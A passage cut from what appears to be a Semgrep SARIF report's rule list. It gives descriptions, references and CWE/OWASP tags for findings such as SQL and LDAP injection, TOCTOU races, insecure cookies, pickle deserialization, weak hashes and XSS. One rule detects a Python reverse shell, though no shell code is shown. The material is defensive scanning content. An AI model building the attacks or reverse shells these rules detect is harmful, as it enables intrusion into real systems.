[https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string","id":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","name":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string.formatted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","id":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","name":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli","id":"java.spring.security.jdo-sqli.jdo-sqli","name":"java.spring.security.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"help":{"markdown":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging)\n - [https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html](https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html)\n","text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","id":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","name":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","id":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","name":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint","id":"rust.hyper.sql.diesel-taint.diesel-taint","name":"rust.hyper.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","id":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","name":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy","id":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","name":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-numpy.pickles-in-numpy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","id":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","name":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","id":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","name":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"help":{"markdown":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection","id":"java.lang.security.audit.ldap-injection.ldap-injection","name":"java.lang.security.audit.ldap-injection.ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-injection.ldap-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"help":{"markdown":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell)\n - [https://cwe.mitre.org/data/definitions/553.html](https://cwe.mitre.org/data/definitions/553.html)\n","text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell","id":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","name":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","properties":{"precision":"very-high","tags":["CWE-553: Command Shell in Externally Accessible Directory","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.python-reverse-shell.python-reverse-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill","id":"python.lang.security.deserialization.pickle.avoid-dill","name":"python.lang.security.deserialization.pickle.avoid-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"help":{"markdown":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function","id":"python.lang.security.insecure-hash-function.insecure-hash-function","name":"python.lang.security.insecure-hash-function.insecure-hash-function","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-function.insecure-hash-function"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","id":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","name":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"help":{"markdown":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511](https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511)\n - [https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication](https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication)\n","text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","id":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","name":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","id":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","name":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","id":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","name":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-missing.django-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach 